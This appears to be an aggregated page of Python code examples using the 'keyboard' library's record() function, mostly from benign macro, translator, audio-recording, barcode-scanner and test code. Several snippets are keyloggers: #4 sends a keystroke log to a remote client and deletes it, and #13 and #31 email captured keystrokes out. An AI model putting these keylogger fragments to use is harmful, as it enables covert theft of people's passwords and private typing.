コード例 #1
0
ファイル: chptrans.py プロジェクト: HACHp1/chptrans
def main():
    '''
    主程序
    '''
    # 创建要提交的数据
    # currentData = str(getCopyText())

    print('''
***************************************************************************************
         ██████╗██╗  ██╗██████╗ ████████╗██████╗  █████╗ ███╗   ██╗███████╗
        ██╔════╝██║  ██║██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗████╗  ██║██╔════╝
        ██║     ███████║██████╔╝   ██║   ██████╔╝███████║██╔██╗ ██║███████╗
        ██║     ██╔══██║██╔═══╝    ██║   ██╔══██╗██╔══██║██║╚██╗██║╚════██║
        ╚██████╗██║  ██║██║        ██║   ██║  ██║██║  ██║██║ ╚████║███████║
         ╚═════╝╚═╝  ╚═╝╚═╝        ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝

        欢迎使用 CHP's translator
        用法:
            复制想翻译的英文(ctrl+c),复制完后按f键翻译(翻译器会将剪切板中的内容翻译为中文)
            切换中英对照模式(ctrl+e):方便进行单句的中英对比
            切换翻译器(ctrl+r):目前支持百度、Bing、和有道
            按Esc键退出
***************************************************************************************
        ''')

    print('当前翻译器:'+mytranslate.__name__)
    print('当前模式:仅显示翻译')

    # 注册按键热键
    keyboard.add_hotkey('f', on_press, args=('fanyi',))  # 翻译
    keyboard.add_hotkey('ctrl+e', on_press, args=('zh_en',))  # 中英对照模型切换
    keyboard.add_hotkey('ctrl+r', on_press, args=('translator',))  # 翻译器切换
    # 开始监听
    keyboard.record(until='esc')
コード例 #2
0
def main(arg):
    if len(arg) > 2:
        print("TOO MANY ARGUMENTS")
    if len(arg) == 2:
        if (arg[1] == "-h"):
            global RATE
            RATE = 24000
    print("Press [R] and hold on to record")
    while not keyboard.record('r'):
        if keyboard.record('r'):
            break
    record()
コード例 #3
0
def __main__() -> None:
    logging.basicConfig(filename='bot.log', level=logging.DEBUG)
    # open_file_on_desktop('Iron Man.m4v')
    # windows_email('this is a body', '*****@*****.**', 'this is a subject')
    print(type(wx.TheClipboard))
    recorded = keyboard.record(until='esc')
    print(recorded)
コード例 #4
0
ファイル: lib_cliente.py プロジェクト: PauloDoMonte/Zhitkur
def keylogger(cliente):
    arquivo = open('log.txt', 'w')
    arquivo.close()
    recorded = keyboard.record(until='esc')
    for i in range(0, len(recorded)):
        v1 = str(recorded[i])
        v2 = v1.strip('KeyboardEvent')
        v3 = v2.strip('()')
        v4 = v3.split()
        if (v4[1] == 'down'):
            if (v4[0] == 'backspace'):
                salvar = ' backspace '
            elif (v4[0] == 'space'):
                salvar = ' '
            elif (v4[0] == 'enter'):
                salvar = '\n'
            elif (v4[0] == 'esc'):
                salvar = ' esc'
            else:
                salvar = v4[0]
            arquivo = open('log.txt', 'a')
            arquivo.write(salvar)
    arquivo.close()
    enviar_arquivo(cliente, 'log.txt')
    os.remove('log.txt')
コード例 #5
0
def GetKeyBoard():
    KeyPress = []
    keylen = 0
    recorded = keyboard.record(until='esc')  # 等待按键执行完毕
    keystr = [str(i) for i in recorded]  # 将记录的值转换为字符串
    # print(keystr)  # 打印当前按键
    for i in keystr:
        KeyPress.append(re.findall(r"[(](.*?)[ ]", i)[0])  # 取出'('和' ' 内数据
    print(KeyPress)  # 打印原始键值
    # print(len(KeyPress))  # 打印长度
    # 按键数量计算
    if len(KeyPress) % 2 == 1:
        keylen = (len(KeyPress) - 1)/2  # 计算一下快捷键的长度
    elif len(KeyPress) % 2 == 0:
        keylen = len(KeyPress)/2

    for i in range(len(KeyPress), 4):  # 补足4个列表
        KeyPress.append(0)

    KeyPress[3] = int(keylen)

    # print(KeyPress[3])  # 打印按键数量

    if KeyPress[3] == 1:
        KeyPress[1] = 0
        KeyPress[2] = 0
    elif KeyPress[3] == 2:
        KeyPress[2] = 0

    # print(KeyPress)  # 打印按键

    return KeyPress[0:4]
コード例 #6
0
def record():
    p = au.PyAudio()
    stream = p.open(format=FORMAT,
                    channels=CHANNEL,
                    rate=RATE,
                    input=True,
                    stream_callback=callback)
    stream.start_stream()
    while True:
        keyboard.hook(keyListener)
        if keyboard.record('esc'):
            times = time.strftime("%Y年%m月%d日%H时%M分%S秒",
                                  time.localtime()) + '.wav'
            wf = wave.open(times, 'wb')
            wf.setnchannels(CHANNEL)
            wf.setsampwidth(p.get_sample_size(FORMAT))
            wf.setframerate(RATE)
            wf.writeframes(b''.join(data))
            wf.close()
            break

    stream.stop_stream()
    stream.close()
    p.terminate()
    print("\n")
    print("file saved.")
コード例 #7
0
def record(user_time, end_key, playback_speed):
    print("Start Recording")
    record_keys = keyboard.record(until=end_key)
    record_keys = record_keys[1:-1]
    print("Keys Recorded!")
    thread = Thread(target = playback, args=[record_keys, user_time, playback_speed]) #playback thread
    thread.start()
コード例 #8
0
def Options(X):
    #Record
    if X == 'start' or X == '1':
        inputs = keyboard.record(until='Esc')
        with open(datafile, "a") as maindata:
            line = '\n' + str(inputs)
            maindata.write(line)
#Read all
    elif X == 'read all' or X == '2':
        with open(datafile, "r") as maindata:
            data = maindata.read()
            print(data)
        print("")
        print("")
#Read a recording
    elif X == 'read line' or X == '3':
        lines = 0
        with open(datafile, "r") as maindata:
            for line in maindata:
                lines = lines + 1
        print(lines)
        linen = int(input("Which line is it that you recall? "))
        print('')
        linecount = 0
        with open(datafile, "r") as maindata:
            for line in maindata:
                linecount = linecount + 1
                if linecount == linen:
                    target = line
        print(target)
        print("")
        print("")
コード例 #9
0
def keyLogger():
    #Function to Record key strokes
    keyEvents = keyboard.record(until=LINE_ESCAPE)
    #print("Keyboard Events : ",keyEvents)

    #Clean the keyEvents
    Active = True
    keys = []
    for event in keyEvents:
        attr = str(event)
        attr = attr.split()
        keyArr = attr[0].split('(')
        actionArr = attr[1].split(')')
        key = keyArr[1]
        action = actionArr[0]
        # print(key,':',action) 	#Print the key pressed and the event occured.

        if (action == 'down'):
            keys.append(key)
        if (key == LOG_ESCAPE):
            Active = False

    #TODO : write keys into file.
    # print(keys)
    writeLog(keys)
    return Active
コード例 #10
0
def record_Shortcut(name):
    #create empty lists for the sequences of mouse and keyboard inputs
    mouse_events = []
    keyboard_events = []
    #waits for special keypress before starting the recording
    print("Press the '*' key when you would like to start recording")
    keyboard.wait('*')
    mouse.hook(mouse_events.append)

    #waits until the same keypress to stop recording
    keyboard_events = keyboard.record(until='*')
    mouse.unhook(mouse_events.append)

    print("Recording done!")

    #print statements for testing you can remove these
    #-----------------------------------------------
    print(str(mouse_events))
    print(str(keyboard_events))
    #-----------------------------------------------
    
    #takes sequence of key and mouse presses as well as the shortcut name and stores in respective files
    nfile = open("name_shortcuts.txt",'a+')
    nfile.write("%s\n" % (name))
    nfile.close()

    mfile = open("mouse_shortcuts.txt",'ab+')
    dump(mouse_events,mfile)
    mfile.close()

    kfile = open("keyboard_shortcuts.txt",'ab+')
    dump(keyboard_events,kfile)
    kfile.close()
コード例 #11
0
ファイル: recordover.py プロジェクト: robis1221/p6fakeuser
def record_keyboard(path_to_save):
    print("starting recording")
    startTime = time.time()
    record = keyboard.record()

    #get rid of escape input
    record.pop()

    keys, times, up_down = [],[],[]

    for e in record:
        keys.append(e.scan_code)
        times.append(e.time)
        up_down.append(e.event_type)

    #set times to be relative to starting time
    times = [x - startTime for x in times]
    print(times)
    print(keys)


    file = open(path_to_save,"a")
    file.write('KEYBOARD\n')
    [file.write(str(x) + ',') for x in keys]
    file.write('\n')
    [file.write(str(x) + ',') for x in times]
    file.write('\n')
    [file.write(str(1)+',' if x in 'down' else str(0) + ',') for x in up_down ]
コード例 #12
0
ファイル: client.py プロジェクト: sciai-ai/nemo_examples
def main():
    # prepare audio recorder
    callback = Callback().callback

    # duration of signal frame, seconds
    FRAME_LEN = 0.2  # 0.2
    # number of audio channels (expect mono signal)
    CHANNELS = 1
    # sample rate, Hz
    RATE = 16000

    CHUNK_SIZE = int(FRAME_LEN * RATE)

    p = pyaudio.PyAudio()
    stream = p.open(format=pyaudio.paInt16,
                    channels=CHANNELS,
                    rate=RATE,
                    input=True,
                    stream_callback=callback,
                    frames_per_buffer=CHUNK_SIZE)
    stream.start_stream()

    # prepare keyboard listener
    while (1):
        keyboard.hook(on_press_release)
        if keyboard.record('esc'):
            break

    # close up
    stream.stop_stream()
    stream.close()
    p.terminate()
コード例 #13
0
def main():

    # read the keyboard
    export = ""
    recorded = keyboard.record(until='enter')
    recorded = list(str(recorded))
    for i in range(len(recorded)):
        if recorded[i] == "(":
            try:
                if recorded[i + 3] == "d":
                    export += ''.join(recorded[i + 1])
                elif recorded[i + 11] == "d":
                    export = export[:-1]
            except:
                pass
    export += "\n"

    # w/r txt
    with open(txt_path, 'a') as out:
        out.write(export)
    with open(txt_path, 'r') as out:
        max_size = len(out.read().split())
    print(max_size)

    # send to mail and clean
    if max_size >= [replace]:  # nº words(int)
        sendEmail()
        open(txt_path, 'w').close()
コード例 #14
0
def get_current_word():
    ''' 
    Recording the key presses until <space> is pressed,
    i.e. gets the current word typed.
    '''

    return keyboard.get_typed_strings(keyboard.record(until='space'))
コード例 #15
0
 def get_question_response(self, question):
     if not question:
         return ""
     DisplayEffects.scroll_text(self.display, question)
     SoundEffects.play_type_your_answer()
     DisplayEffects.display_text(self.display,
                                 '???',
                                 font=DisplayEffects.BigFont)
     answer_events = keyboard.record(until="enter")
     return next(keyboard.get_typed_strings(answer_events))
コード例 #16
0
def main():
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
    
    output = open(FILE_NAME, "a")
    
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string + "\n")
    
    output.close()
コード例 #17
0
def tracer():
    event = keyboard.record(until='enter')
    #        for e in event:
    #            print("Key Name is:", e.name)
    #            print("Type of press:", e.event_type)
    #            print("Time of press:", e.time)
    #            print(e.scan_code)
    #            print("+++++")
    m = make_list(event)
    #        print(m)
    return m
コード例 #18
0
def Record():
    print("Recording... Press [.] to stop recording.")
    recorded = keyboard.record(until='.')
    if len(recorded) > 0:
        recorded.pop()
    if len(recorded) > 0:
        recorded.pop(0)
    time.sleep(1)
    ClearConsole()
    print("Done. Don't forget to SAVE this record if you want to keep it.")
    return recorded
コード例 #19
0
    def __listener(self):
        """

            Listens to key presses and save to the file specified in settings.py

        """

        output_file = open(settings.FILE_PATH, 'a')

        for key in keyboard.get_typed_strings(
                keyboard.record(settings.TERMINATE_KEY)):
            output_file.write(key + " \n")
コード例 #20
0
 def get_boundary_selection(self, categories):
     if not categories or len(categories) == 0:
         return ""
     for i, cat in categories.items():
         SoundEffects.categories[cat['name']].play()
         DisplayEffects.scroll_text(self.display,
                                    "{0}. {1} ".format(i, cat['display']))
     SoundEffects.play_type_your_boundary()
     DisplayEffects.display_text(self.display,
                                 '???',
                                 font=DisplayEffects.BigFont)
     cat_events = keyboard.record(until="enter")
     return next(keyboard.get_typed_strings(cat_events))
コード例 #21
0
 def _record_key_strokes(save_path: str):
     logging.info("record key strokes")
     records = keyboard.record(until="space+esc")
     if len(records) > 0:
         times = []
         keys = []
         for record in records:
             times.append(record.time)
             keys.append(record.name)
         key_records = {"keys": keys, "times": times}
         print(os.getcwd())
         with open(save_path + "keys.json", "w") as f:
             json.dump(key_records, f, cls=NumpyEncoder)
コード例 #22
0
def dummy_record():
    current_slot = 0
    record_slots = []
    for i in range(0, TOTAL_SLOTS):
        record_slots.append(0)
    while True:
        for event in get_gamepad():
            try:
                if event.code == record and event.state > int(0):
                    print('Record P2')
                    print("Press the", stop, "button to quit record")
                    record_slots[current_slot] = keyboard.record(until=stop)
                    if len(record_slots[current_slot]) < 2:
                        record_slots[current_slot] = 0
                        print('Nothing recorded')
                    print('End record')
                elif event.code == play and event.state > int(0):
                    if record_slots[current_slot] != 0:
                        print('Start replay', current_slot + 1)
                        keyboard.play(record_slots[current_slot])
                        print('End replay')
                    else:
                        print('This slot is empty')
                elif event.code == random_play and event.state > int(0):
                    found = False
                    for i in range(0, TOTAL_SLOTS):
                        if record_slots[i]:
                            found = True
                    if found:
                        random_slot = randint(0, TOTAL_SLOTS - 1)
                        while not record_slots[random_slot]:
                            random_slot = randint(0, TOTAL_SLOTS - 1)
                        print('Start random replay', random_slot + 1)
                        keyboard.play(record_slots[random_slot])
                        print('End replay')
                    else:
                        print('No slot is recorded')
                elif event.code == prev_record and event.state > int(0):
                    current_slot -= 1
                    if current_slot < 0:
                        current_slot = TOTAL_SLOTS - 1
                    print('Switched to slot ', current_slot + 1)
                elif event.code == next_record and event.state > int(0):
                    current_slot += 1
                    if current_slot > TOTAL_SLOTS - 1:
                        current_slot = 0
                    print('Switched to slot ', current_slot + 1)
            except:
                print("Nothing recorded")
                pass
コード例 #23
0
def run(worker):
    if not is_pi():
        logger.info("Enter EAN here to simulate scanned barcode!")

        while True:
            try:
                worker.on_barcode(sys.stdin.readline().strip().upper())
            except Exception:
                logger.exception("Caught exception in barcode handler...")

    def replace_key_code(barcode, replacements):
        indexes_per_replacement = {}

        for source in replacements:
            indexes = []

            i = 0
            while True:
                try:
                    pos = barcode.index(source, i)
                    indexes.append(pos)
                    i = i + 1
                except ValueError:
                    break

            indexes_per_replacement[source] = indexes

        for source in indexes_per_replacement:
            indexes = indexes_per_replacement[source]
            target = replacements[source]

            for index in indexes:
                barcode = barcode[:index] + target + barcode[index + 1:]

        return barcode

    while True:
        keyboard_input = keyboard.record(until="tab")

        if keyboard_input is None:
            continue

        for scanned_barcode in keyboard.get_typed_strings(keyboard_input):
            scanned_barcode = replace_key_code(scanned_barcode, {
                "?": "_",
                "_": "?"
            })

            worker.on_barcode(scanned_barcode.upper())
コード例 #24
0
ファイル: recorders.py プロジェクト: mattbui/voice_macro
    def start_record(self):
        print(
            "Start record keyboard events, press {} to stop record....".format(
                self.stop_key))
        recorded_events = keyboard.record(until=self.stop_key)
        events_json = []
        for event in recorded_events:
            events_json.append(json.loads(event.to_json()))
        events_json = events_json[:-1]
        events_string = utils.get_events_string(events_json)
        out_filename = self._write_to_file(events_json)

        print('\nSaved keyboard events at {}'.format(out_filename))

        return out_filename, events_string
コード例 #25
0
ファイル: log.py プロジェクト: Achraf99Jday/StatLog
def logger():

    FILE_NAME = "log.txt"
    CLEAR_ON_STARTUP = False
    TERMINATE_KEY = "enter"

    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    output = open(FILE_NAME, "a")

    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string)

    output.close()
コード例 #26
0
def dummy_record():
    while True:
        for event in get_gamepad():
            try:
                if event.code == record and event.state > int(0):
                    print('Record P2')
                    print("Press the", stop, "button to quit record")
                    recorded = keyboard.record(until=stop)
                    print('End record')
                elif event.code == play and event.state > int(0):
                    print('Start replay')
                    keyboard.play(recorded)
                    print('End replay')
            except:
                print("Nothing recorded")
                pass
コード例 #27
0
def run(worker):
    global last_barcode
    if not is_pi():
        print "---------"
        print "Enter EAN here to simulate scanned barcode!"
        while True:
            try:
                worker.on_barcode(sys.stdin.readline().strip().upper())
            except Exception:
                logging.exception("Caught exception in barcode handler...")

    def replace_key_code(barcode, replacements):

        indexes_per_replacement = {}

        for source in replacements:
            indexes = []

            i = 0
            while True:
                try:
                    pos = barcode.index(source, i)
                    indexes.append(pos)
                    i = i + 1
                except ValueError:
                    break

            indexes_per_replacement[source] = indexes

        for source in indexes_per_replacement:
            indexes = indexes_per_replacement[source]
            target = replacements[source]

            for index in indexes:
                barcode = barcode[:index] + target + barcode[index + 1:]

        return barcode

    while True:
        input = keyboard.record(until="tab")
        if input == None:
            continue
        for barcode in keyboard.get_typed_strings(input):
            barcode = replace_key_code(barcode, {"?": "_", "_": "?"})

            worker.on_barcode(barcode.upper())
コード例 #28
0
def recordNew(rec):
    global until_key
    print('wait')
    keyboard.wait(record_key, True, trigger_on_release=True)
    # Record keymap
    print('record keymap')
    keymap = keyboard.read_key()
    print('{}'.format(keymap))

    # Record the keystrokes
    print('record macro')
    rec[keymap] = keyboard.record(until=until_key)[1:-1]
    print(rec[keymap])

    # Add hotkey
    keyboard.add_hotkey('{}'.format(keymap),
                        lambda: keyboard.play(rec[keymap]))
コード例 #29
0
    def get_entry(suppress=False, until='enter'):
        """ Returns a string entered by user

        Listens for and collects keyboard events until the the 'until' key.
        These events are then parsed into a string and returned.
        
        Keyword Arguments:
            until {str} -- Key that stops the event redorder (default: {'enter'})
        
        Returns:
            string -- Parsed string entered by user
        """
        events = keyboard.record(until=until)
        generator = keyboard.get_typed_strings(events)
        string = next(generator)

        return string
コード例 #30
0
def recordNew(rec):
    global until_key
    # Record keymap
    print('record keymap')
    #keymap = keyboard.record(until=until_key)[0].name
    keymap = keyboard.read_hotkey()
    print('{}'.format(keymap))

    # Record the keystrokes
    print('record macro')
    #rec[keymap] = keyboard.record(until=until_key)
    #rec[keymap] = keyboard.record(until=until_key,trigger_on_release=True)
    rec[keymap] = keyboard.record(trigger_on_release=True)
    print(rec[keymap])

    # Add hotkey
    keyboard.add_hotkey('{}'.format(keymap),
                        lambda: keyboard.play(rec[keymap]))
コード例 #31
0
def get_log():
    """log/send/repeat"""
    now = time.time()
    file = open('log.txt', 'r+')
    while True: 
        log = keyboard.get_typed_strings(keyboard.record(until='enter'))
        file.write(next(log) + '\n')
        if len(sys.argv) > 1:
            if now >= (time.time() - 900): #send every 15 mins
                try:
                    file.seek(0) #back to start of file 
                    logged = file.read() #read in whole file
                    send(logged,sys.argv[1],sys.argv[2]) #send it out
                    file.seek(0) #back to start of file and erase
                    file.truncate()
                    now = time.time() #reset the time variable
                except: #if file was unable to be sent continue logging 
                    continue
    file.close()
コード例 #32
0
ファイル: _keyboard_tests.py プロジェクト: boppreh/keyboard
 def t():
     self.recorded = keyboard.record("esc")
     lock.release()
コード例 #33
0
ファイル: _keyboard_tests.py プロジェクト: boppreh/keyboard
 def process():
     queue.put(keyboard.record('space', suppress=True))